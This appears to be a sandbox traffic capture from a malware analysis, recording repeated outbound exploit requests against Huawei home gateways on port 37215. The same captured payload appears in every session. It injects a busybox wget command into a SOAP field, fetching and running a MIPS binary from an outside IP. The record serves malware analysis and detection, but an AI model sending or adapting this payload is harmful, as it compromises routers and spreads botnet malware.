Feb 4, 2025 18:18:03.762242079 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	47922	197.215.36.214	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762270927 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	44922	197.62.170.30	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762295008 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	38398	41.175.74.182	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762312889 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	56674	156.158.55.39	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762334108 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	42204	41.54.111.106	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762372971 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	47318	197.101.74.72	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762392044 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	60896	156.25.152.38	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762417078 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	52024	156.225.24.104	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762448072 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	33732	41.221.38.233	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762475967 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	58048	41.147.218.32	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762501001 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 